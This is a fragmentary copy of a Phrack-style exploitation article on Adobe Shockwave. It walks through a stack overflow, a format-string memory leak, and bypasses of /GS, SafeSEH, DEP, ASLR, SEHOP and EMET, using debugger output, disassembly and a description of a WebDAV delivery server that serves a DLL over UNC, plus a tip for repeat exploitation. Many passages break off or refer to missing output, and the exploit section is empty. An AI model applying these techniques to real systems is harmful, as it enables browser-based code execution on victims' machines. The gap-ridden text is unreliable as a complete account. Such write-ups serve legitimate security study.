Professional Documents
Culture Documents
==
|=-----------------------------------------------------------------------=|
|=---------------=[ The Art of Exploitation ]=---------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Adobe Shockwave ]=------------------------=|
|=----------------=[ A case study on memory disclosure ]=----------------=|
|=-----------------------------------------------------------------------=|
|=--------------------------=[ aaron portnoy ]=--------------------------=|
|=-------------------=[ deft_phrack at thunkers.net ]=-------------------=|
|=-----------------------------------------------------------------------=|
1 - Introduction
2 - Shockwave Overview
2.1 - Deployment Notes
2.2 - Supported File Formats
2.3 - Creating Director Files
2.4 - Relevant Shockwave Modules
2.5 - The Lingo Scripting Language
3 - Vulnerability Discovery
3.2 - Stack-based Buffer Overflow
3.3 - Stack-based Memory Disclosure
3.3.1 - Undocumented Format Specifier
4 - Exploit Delivery
4.1 - Server-side Architecture
4.1.1 - web.py
4.1.2 - lighttpd
4.2 - The HTML
4.3 - The Javascript
4.4 - The Lingo
4.5 - The Python
5 - Vulnerability Exploitation
5.1 - Windows XP SP3 / Firefox / Shockwave 11.6.5.635
5.2 - Windows XP SP3 / Firefox / Shockwave 11.6.8.638
5.3 - Windows 7 x64 / Firefox / Shockwave 12.0.0.112
5.4 - Windows 7 x64 / Firefox / Shockwave 12.0.0.112 / EMET 5.0
5.4.1 - Relevant 'EMET 5.0' Mitigations
5.5 - Windows 8 x64 / Firefox / Shockwave 12.0.0.112 / EMET 5.0
5.5.1 - Relevant 'EMET 5.0 Tech Preview' Mitigations
6 - Future Work
7 - Conclusion
8 - Greets
9 - References
10 - Exploit
--[ 1 - Introduction
These days, proper exploit development on the latest and greatest operating
systems is a time-consuming task. It doesn't help matters that the
availability of public resources to help individuals research techniques to
achieve such ends are becoming scarce. There are many reasons why this is
now the case. Mainly, techniques to bypass security mitigations have become
a valuable commodity to various entities and as such are no longer released
as often for public dissemination or to further one's reputation.
I was lucky enough to get started in this field when there were resources
like Gera's insecure programming challenges [1], 29A [2], Uninformed [3],
and of course Phrack to inspire me. I've tried to imagine what it would be
like to be a newcomer in current times and it's a bit depressing that most
(not all) of the material that is actually published is done so with an
unhealthy bit of rodomontade and ulterior motives. Generally, the output
lacks details that are most facilitating to an aspiring researcher--the
approaches to the problem (including the failures) that so define how a
so-called hacker really thinks.
This article is intended to give the reader insight into an approach to the
vulnerability discovery and exploitation process. By no means should the
take-away from this be that mitigations are broken or easily defeated, but
rather it serves as a case study demonstrating real-world vulnerabilities
and the process by which I was able to achieve successful code execution in
spite of various mitigations that have hitherto not been bypassed publicly.
The bugs discussed herein were discovered by myself and where applicable I
will try to cite dates to help the reader understand the time invested to
create the end result. Hopefully there's something in here that you're able
to take away and I'd like to imagine one day you'll also share something
with those who come after you.
Shockwave is often confused with Flash due to Flash's misleading MIME type
of 'application/x-shockwave-flash'. This is not the case, however, and the
technologies are entirely independent of each other (for the record,
Shockwave's MIME type is 'application/x-director').
By default, if a user visits the Shockwave installer site, they are served
up the "slim" version of the installer. The difference between the slim and
the full is that the slim does not contain all the functionality for
various media types (instead they are downloaded when the Player tries to
render a media file with such content).
Each of these are undocumented but are based off of the RIFF file format
(except that their data is stored in big endian as denoted by the file
magic value of 'RIFX').
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
---------------------------------------------------------------------------
00000000 58 46 49 52 78 62 05 00 33 39 56 4D 70 61 6D 69 XFIRxb..39VMpami
00000010 18 00 00 00 01 00 00 00 26 8B 00 00 82 07 00 00 ........&`..`...
00000020 00 00 00 00 00 00 00 00 00 00 00 00 2A 59 45 4B ............*YEK
00000030 74 01 00 00 0C 00 0C 00 1E 00 00 00 17 00 00 00 t...............
00000040 3E 00 00 00 04 00 00 00 6D 75 68 54 0D 00 00 00 >.......muhT....
00000050 04 00 00 00 44 45 4D 58 2B 00 00 00 4B 00 00 00 ....DEMX+...K...
00000060 6D 75 68 54 6D 00 00 00 4B 00 00 00 44 45 4D 58 muhTm...K...DEMX
...
Director files are created in, appropriately, Adobe Director [7]. The
interface is very similar to Flash Studio in that there are frames, a movie
object, a stage, cast members, sprites, and script objects.
One quirk worth mentioning is that by default, when 'playing' a file within
Director it uses an older version of the Shockwave libraries (not the ones
in the player's default directory). I'm guessing that this might not be the
case if you're using the latest Director (version 12), but as I was using
warez, well, ... you get it. This can impact your exploit development so
ensure you test outside Director as well (or overwrite the appropriate
modules with newer versions).
In addition to those two modules, there are also a number of "Xtras". These
files have .x32 extensions but are simply DLL files. They provide added
functionality for things like embedded media (Quicktime, Flash, 3D objects,
fonts, audio, and so on).
Shockwave files have support for a built-in scripting language called Lingo
which was created in the 1990s and, according to the inventor John
Thompson, was his "...most significant contribution to the computer
industry to date" [10].
We'll soon see that Lingo can provide an attacker with a wealth of
information to aid in the exploitation process.
I had previously spent a good amount of time bug hunting in Shockwave for a
presentation at CanSecWest and had unearthed a few file format
vulnerabilities. The problem with those, however, is that anybody with the
ability to bit-flip a file can also stumble upon them trivially. So, this
time around I decided to see what I could find in Lingo.
One of the most tedious aspects of bug hunting is figuring out the best way
to generate input to properly cover as much of the attack surface as
possible. My first attempt at this was to don my hipster jeans and learn to
develop Director movies legitimately. I tried to embed as much content as
possible and ensured in a debugger that the appropriate Xtras were being
loaded into the process. The hardest part was learning how to properly
access the objects via Lingo and interact with them in the hopes of causing
a fault.
Following reflection upon my prior attempts, I realized that the one subset
of the available Lingo methods that I was unable to invoke were related to
the 3D API. As it turns out, I was unable to call Lingo's 3D methods
because I could not embed a proper 3D object and initialize the environment
as was required.
I decided the best approach was to find an existing Director file that
already had 3D objects and associated Lingo code in it. After searching a
while I found that Director itself comes with some tutorial files that fit
the need. In the
folder are the .dir files I was hoping to find. Once they were loaded into
Director I found the Lingo scripts I could simply modify to invoke the
methods I had previously overlooked.
When provided with a large enough string as the first parameter to either
of these a buffer on the stack can be overflowed.
In order to craft a large string in Lingo, you can use their equivalent of
a for loop:
buf = ""
repeat with i = 0 to 10000
buf = buf & "$"
end repeat
Depending on how much data is provided, the fault that the debugger catches
may differ. Here's one such crash:
OK, from the faulting instruction alone there is not much to deduce. The
call stack tells us a bit more:
0:005> kv
ChildEBP RetAddr Args to Child
02f6b7ec 6f2277b8 37734236 02f6b810 6f2283b1 IML32!Ordinal1115+0xa
02f6b7f8 6f2283b1 02f6c248 06cf7024 00000000 DIRAPI+0x377b8
02f6b810 6f23a8ea 06cf7024 000033a7 02f6bd10 DIRAPI+0x383b1
02f6b82c 6f35ec15 06cf7024 02f6c248 02f6bd10 DIRAPI+0x4a8ea
02f6b848 6e73250b 06ced4bc 02f6c248 02f6bd10 DIRAPI+0x16ec15
02f6c114 42346942 69423569 37694236 42386942 Dynamiks+0x335e
02f6c118 69423569 37694236 42386942 6a423969 0x42346942
02f6c11c 37694236 42386942 6a423969 316a4230 0x69423569
02f6c120 42386942 6a423969 316a4230 42326a42 0x37694236
02f6c124 6a423969 316a4230 42326a42 6a42336a 0x42386942
02f6c128 316a4230 42326a42 6a42336a 356a4234 0x6a423969
02f6c12c 42326a42 6a42336a 356a4234 42366a42 0x316a4230
<snip>
The first thing that jumps out here is that there are what appear to be 5
fully intact frames before the stack is smashed. That tells us that the
destination buffer likely originates in the Dynamiks module.
We can also see that there are two stack pointers passed as arguments from
Dynamiks. Inspecting these we can see which was the destination buffer (we
could also deduce this from the frame pointers we see in the call stack...
i.e. it's unlikely to be 0x02f6c248 because the corruption began lower on
the stack):
0:005> dc 02f6c248 L8
02f6c248 73423573 37734236 42387342 74423973 s5Bs6Bs7Bs8Bs9Bt
02f6c258 31744230 42327442 74423374 35744234 0Bt1Bt2Bt3Bt4Bt5
0:005> dc 02f6bd10 L8
02f6bd10 41306141 61413161 33614132 41346141 Aa0Aa1Aa2Aa3Aa4A <- beginning
02f6bd20 61413561 37614136 41386141 62413961 a5Aa6Aa7Aa8Aa9Ab of our buf
So, the stack buffer begins at 0x02f6bd10 and was passed from the Dynamiks
module into DIRAPI as argument 3. This can be seen by disassembling the
Dynamiks module and checking out the code before offset 0x335e:
0:005> ub Dynamiks+0x335e L6
Dynamiks+0x334f:
709e334f 8d8dfcfbffff lea ecx,[ebp-404h] <- vulnerable buffer
709e3355 51 push ecx <------------ passed as third argument
709e3356 8d4f08 lea ecx,[edi+8]
709e3359 51 push ecx
709e335a 50 push eax
709e335b ff5244 call dword ptr [edx+44h]
In a real disassembler (IDA Pro) we can see how large that local variable
is by checking out the function's stack:
Any string over 1024 bytes in size will corrupt var_4. Any guess as to what
var_4 is? Yep... say hello to the /GS mitigation:
For those of you not familiar with /GS [12] it is a compiler option that is
on by default in any recent version of Visual Studio. It works by ... well,
skape said it much better than I in his Uninformed [13] article when
describing stack cookie initialization:
The result of those operations is a 4-byte value that gets generated when
the module is loaded and then stored in its .data section. Any function the
compiler deems in need of some extra protection takes that value and XORs
it again with the current frame pointer (@ebp). It then stores it on the
stack as the first local variable. Upon function exit, the process checks
if it has been tampered with and, if so, throws an exception which usually
results in process termination.
Had we not caused an exception in IML32.dll the code would still return
back to the Dynamiks module and upon function exit (provided it doesn't
access any other invalid data long the way), the stack cookie check would
fail and the process would throw an exception and probably exit. Either
way, this is an obstacle we'll need to bypass.
model("d03e682631e7c647ae08432631e18680fb8a9d03e6830680276b012d450d03e686
9080b8e56b7420100c17eb9069056cd56908db3811038")
That was certainly not the name I gave that object when I called
newModel()...
Separating those %x values by spaces yielded:
At this point I was testing all of this on Windows XP and thus there was no
Address Space Layout Randomization to worry about. With that in mind, I'll
tell you that DIRAPI.dll has a preferred base address of 0x68000000 and
IML32.dll of 0x69000000. Looking at the output from the trace() call we can
clearly see that we're dealing with a format string vulnerability and for
each %x we provide, we're returned a 32 bit value off the stack.
One thing worth pointing out there is that the heap pointers originate from
an allocation of size 0x100000. This is due to the Smartheap slicing out
allocations from its own arena of that size.
Anyway, the take-away here is that I was able to leak an address from the
stack, two from the heap, and one from a module (IML32.dll).
When provided with a "%v" format specifier, the code within DIRAPI.dll
replaces it with <%d %p>:
.text:68039FF2 case__v:
.text:68039FF2
.text:68039FF2 add edi, 4 ; jumptable 68039EC7 case 35
.text:68039FF5 mov [ebp+var_814], edi
.text:68039FFB mov edi, [edi]
.text:68039FFD lea esi, [ebp+var_810]
.text:6803A003 mov byte ptr [ebp+var_404], 0
.text:6803A00A call sub_68039CA0
.text:6803A00F test eax, eax
.text:6803A011 jz loc_6803A0EA
.text:6803A017 mov eax, [ebp+arg_8]
.text:6803A01A mov ecx, [ebp+var_824]
.text:6803A020 mov edx, [ebp+var_828]
.text:6803A026 push eax
.text:6803A027 push ecx
.text:6803A028 push edi
.text:6803A029 push edx
.text:6803A02A call sub_68030DB0 ; replaces %v with <%d %p> and
.text:6803A02A re-enters this func
./
| craft_exploit.py
| main.py
|
|---web
| (web.py library code)
|
'---www
|---dirs
| input.dir
| mem_disc.dir
| output.dir
|
|---html
| exploit.html
| index.html
|
'---payload
runcalc.dll
server.document-root = "/htdocs"
server.port = 80
server.username = "nobody"
server.groupname = "nogroup"
server.modules = ( "mod_webdav",
"mod_alias",
"mod_accesslog")
server.errorlog = "/logs/error.log"
accesslog.filename = "/logs/access.log"
webdav.activate = "enable"
webdav.sqlite-db-name = "/lock/lighttpd.webdav_lock.db"
The HTML is pretty basic and consists of an index.html that embeds the .dir
file responsible for memory disclosure and an iframe that is dynamically
populated with the exploit.html page, which in turn embeds the crafted .dir
exploit for that particular client, on demand.
The iframe was required as it was noted that if one was not used, modules
in memory were loaded and unloaded at potentially different addresses if
the browser navigated away from one page, thus rendering the memory
disclosure unreliable.
The index.html page contains the javascript functions responsible for the
following:
There are a couple of Lingo functions and properties that are exceptionally
friendly for the exploit developer. The following are used to determine how
to craft the malicious .dir file for a given client and then transport that
information to the server:
The CraftExploit class defined within contains two class variables of note.
The self.int_mods list is populated with tuples containing the file offset
within the template .dir file and the value to inject. For example, the
first stack pivot used corresponds to offset 0x55AFC in the file. The
relevant code that replaces that value in the template .dir file looks like
this:
self.int_mods.append((0x55AFC, self.sw_3d+0x13e522))
The above will cause the resulting .dir file at offset 0x55AFC to contain a
pointer to the "Shockwave 3d Asset.x32" at offset 0x13e522.
The other notable class variable is self.str_mods which does much the same
thing, except that it is implemented as a dictionary. For example, in order
to ensure that a string value will exist at a given offset in the resulting
.dir file, one can utilize str_mods as so:
self.str_mods[0x536D0] = 'urlmon.dll\x00'
The contents of str_mods and int_mods are injected into the file using
CraftExploit's render method and then served to the target client via the
web server.
The following sections will walk the reader through my exploit development
process against various configurations, bypassing mitigations as
encountered.
This was the first exploit I wrote for this issue, and as I was developing
it on Windows XP SP3 I did not need to worry about ASLR (or even use the
memory disclosure vulnerability). This was written the day the bug was
discovered with the intent of exploiting the issue quickly, not reliably.
* The modules I used to ROP with were getting their preferred base
addresses, and thus I could easily ignore ASLR.
* I used a system library, shell32.dll, for some primitives. This module
is updated by Microsoft often and is not something to rely on.
So, to summarize, this exploit bypasses /GS, SafeSEH, DEP, and ignores ASLR
(but is more of a PoC than a proper exploit--and well, it's XP).
About a day after I wrote the exploit for version 11.6.5.635 Adobe released
11.6.8.638. For completeness' sake, I added support to my exploit for what
was the latest version, using identical primitives, differing just in
location. See the attached exploit for details.
This time, I used the stack memory disclosure to remove any reliance on
indeterminable memory addresses, thus bypassing ASLR. Unlike the prior
exploits, this version simply ROPs to a LoadLibraryA call and requests DLL
over a UNC path. I created a simple DLL that just calls WinExec("calc.exe")
upon load. Then, using lighttpd as described in 4.1.2, the file is served.
The exploit for the same target with EMET 5.0 enabled simply calls
MoveFileA first to move the file from the remote WebDAV to the local
filesystem and then calls LoadLibraryA on the local file.
Protip: chattr +i the DLL file on the server so that the MoveFileA will
move it but won't be able to delete it afterwards, enabling subsequent
exploit attempts to work without a problem. You could also do this within
the lighttpd config.
The second step consists of walking the exception handler list at the time
that an exception is being dispatched to ensure that the symbolic record
can be reached and that it is valid. This step happens when the exception
dispatcher is notified that an exception has occurred in user mode. If the
symbolic record cannot be reached, the exception dispatcher can assume that
the exception handler list is corrupt and that an SEH overwrite may have
occurred. The exception dispatcher is then able to safely terminate the
process. If the symbolic record is found, the exception dispatcher is able
to proceed as it normally would and call each of the registered exception
handlers."
Firstly, once attached to the Firefox process, we can tell WinDBG to follow
child processes with the '.childdbg 1' command. Next we point Firefox to
the malicious server which will cause the Shockwave player to be invoked,
thus launching the plugin-container.exe process from Firefox:
0:029> .childdbg 1
Processes created by the current process will be debugged
0:029> g
ModLoad: 70b30000 70b63000 C:\Windows\SysWOW64\shdocvw.dll
<snip>
ModLoad: 09c70000 09c76000 plugin-container.exe
Executable search path is:
ModLoad: 00fa0000 00fa6000 plugin-container.exe
ModLoad: 772f0000 77447000 ntdll.dll
ModLoad: 76620000 76750000 C:\Windows\SysWOW64\KERNEL32.DLL
ModLoad: 74f10000 74fb6000 C:\Windows\SysWOW64\KERNELBASE.dll
<snip>
ModLoad: 74980000 74989000 C:\Windows\SysWOW64\CRYPTBASE.dll
ModLoad: 74920000 74971000 C:\Windows\SysWOW64\bcryptPrimitives.dll
(834.950): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000003 ecx=a1500000 edx=00000000 esi=00000000
edi=007e0000
eip=77390545 esp=007bf854 ebp=007bf880 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
77390545 cc int 3
We can view the current exception chain with the !exchain command:
1:032> !exchain
0061ef40: USER32!_except_handler4+0 (775f3991)
0061efa4: USER32!_except_handler4+0 (775f3991)
0061f000: ntdll!KiUserCallbackExceptionHandler+0 (77e22e60)
0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859)
0061f858: plugin_container+18f9 (010b18f9)
0061f8a8: ntdll!_except_handler4+0 (77ec35f2)
0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86)
Invalid exception stack at ffffffff
For those unfamiliar with the above formatted information, the first number
is the address on the stack of the SEH record. For example, for the first
entry we can inspect the record and verify that the first 32 bit value
points to the next SEH record address on the stack, and that the second 32
bit value points to the code responsible for handling the exception:
1:032> dd 0061ef40 L2
0061ef40 0061efa4 775f3991
1:032> u poi(0061ef40+4) L4
USER32!_except_handler4:
775f3991 8bff mov edi,edi
775f3993 55 push ebp
775f3994 8bec mov ebp,esp
775f3996 83ec14 sub esp,14h
Prior to corruption, the SEH record chain consists of the following stack
locations, terminated by -1:
0061ef40->0061efa4->0061f000->0061f0fc->0061f858->0061f8a8->0061f8c8->
ffffffff
At this point, we also know the address of the destination buffer that will
be overflowed (see section 3.2):
1:032> dd @esp+0x8 L1
0061c07c 0061c534
We can calculate how much data is required to be copied from that address
to reach the first SEH record on the stack:
1:032> ? 0061ef40-0061c534
Evaluate expression: 10764 = 00002a0c
Now comes the fun part. The exception chain validation that occurs when
ntdll!KiUserExceptionDispatcher doesn't care how many entries are in the
chain. What this means is that an attacker has some flexibility with
regard to how they choose to bypass the checks. For example, the stack
corruption could be used to link the first exception handler
(USER32!_except_handler4) all the way to the last one
(ntdll!FinalExceptionHandler) by modifying the first's *next pointer.
Another option (and the one that I chose) is to craft a fake SEH record,
link a prior record to yours, and link yours to an existing one located
further down the stack. To illustrate this, the below shows the state of
the exception chain after attempting to step over the call that causes the
stack-based buffer overflow:
1:032> p
(740.1f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=37734236 ebx=0061c534 ecx=00000000 edx=00e5eff4 esi=00002af8
edi=0061ca6c
eip=71439d0a esp=0061c010 ebp=0061c010 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
IML32!Ordinal1115+0xa:
71439d0a 81780454534146 cmp dword ptr [eax+4],46415354h ds:002b:3773423a=??
1:032> !exchain
0061ef40: Shockwave_3d_Asset!CIFXString::SetCodePage+49122 (70f2e522)
0061ef50: 41414141
0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859)
0061f858: plugin_container+18f9 (010b18f9)
0061f8a8: ntdll!_except_handler4+0 (77ec35f2)
0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86)
Invalid exception stack at ffffffff
0061ef40->0061ef50->0061f0fc->0061f858->0061f8a8->0061f8c8->ffffffff
What has occured is the first SEH record has been corrupted to point into
the "Shockwave 3d Asset.x32" module (this is our stack pivot--more on this
later) and it's *next pointer has been modified to point to a new address
on the stack (calculated using the stack memory disclosure).
The second record shown above is a fake one that my exploit crafts to
re-link the chain. Its *next pointer has been crafted to point to 0061f0fc
which is a valid SEH record that existed prior to the corruption. Note that
its code pointer was simply set to 0x41414141, which is weakly validated by
ntdll's exception dispatcher to ensure it is not located on the stack.
At this stage, the SEH chain will pass SEHOP validation and the first
record's code will be called. This can be verified in the debugger:
1:032> bp Shockwave_3d_Asset!CIFXString::SetCodePage+49122
1:032> g
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=70f2e522 edx=77e23105 esi=00000000
edi=00000000
eip=70f2e522 esp=0061ba5c ebp=0061ba7c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Shockwave_3d_Asset!CIFXString::SetCodePage+0x49122:
70f2e522 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:002b:0061ba88=0061ef40
1:039> u KERNEL32!LoadLibraryA L2
KERNEL32!LoadLibraryA:
76ccf864 e92f0932f9 jmp 6fff0198
76ccf869 837d0800 cmp dword ptr [ebp+8],0
1:039> u 6fff0198
6fff0198 684bedeeeb push 0EBEEED4Bh
6fff019d 60 pushad
6fff019e 9c pushfd
6fff019f 54 push esp
6fff01a0 e80bd32a05 call emet+0x4d4b0 (7529d4b0)
6fff01a5 9d popfd
6fff01a6 61 popad
6fff01a7 83c404 add esp,4
Once urlmon.dll was loaded, I had to deal with EMET's 'Caller' mitigation,
which does the following:
--[ 7 - Conclusion
--[ 8 - Greets
Thanks to navs, sohlow, raid, & hoodlum for their insight and valuable
discussions.
--[ 9 - References
[1] http://community.corest.com/~gera/InsecureProgramming
[2] http://virus.wikia.com/wiki/29A
[3] http://www.uninformed.org
[4] http://helpx.adobe.com/shockwave/kb/shockwave-player-faq.html
[5] http://www.adobe.com/products/shockwaveplayer.html
[6] https://wiki.mozilla.org/NPAPI
[7] http://www.adobe.com/products/director.html
[8] http://cansecwest.com/csw11/Adobe_Shockwave-AaronPortnoy
_LoganBrown.pptx
[9] http://www.microquill.com/smartheap/index.html
[10] http://www.j4u2.com/jht/bio.html
[11] http://helpx.adobe.com/director/topics/scripting-dictionary.html
[12] http://msdn.microsoft.com/en-us/library/8dbf701c(v=vs.80).aspx
[13] http://uninformed.org/index.cgi?v=7&a=2&p=5
[14] http://webpy.org/
[15] http://www.lighttpd.net/
[16] https://code.google.com/p/narly/
[17] http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-
exploitation-of-seh-overwrites-with-sehop.aspx
[18] http://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller
_Exploit_Mitigation_Slides.pdf
[19] http://blogs.technet.com/b/srd/archive/2010/07/28/announcing-the-
upcoming-release-of-emet-v2.aspx
[20] http://blogs.technet.com/b/srd/archive/2012/07/24/emet-3-5-tech-
preview-leverages-security-mitigations-from-the-bluehat-prize.aspx
--[ 10 - Exploit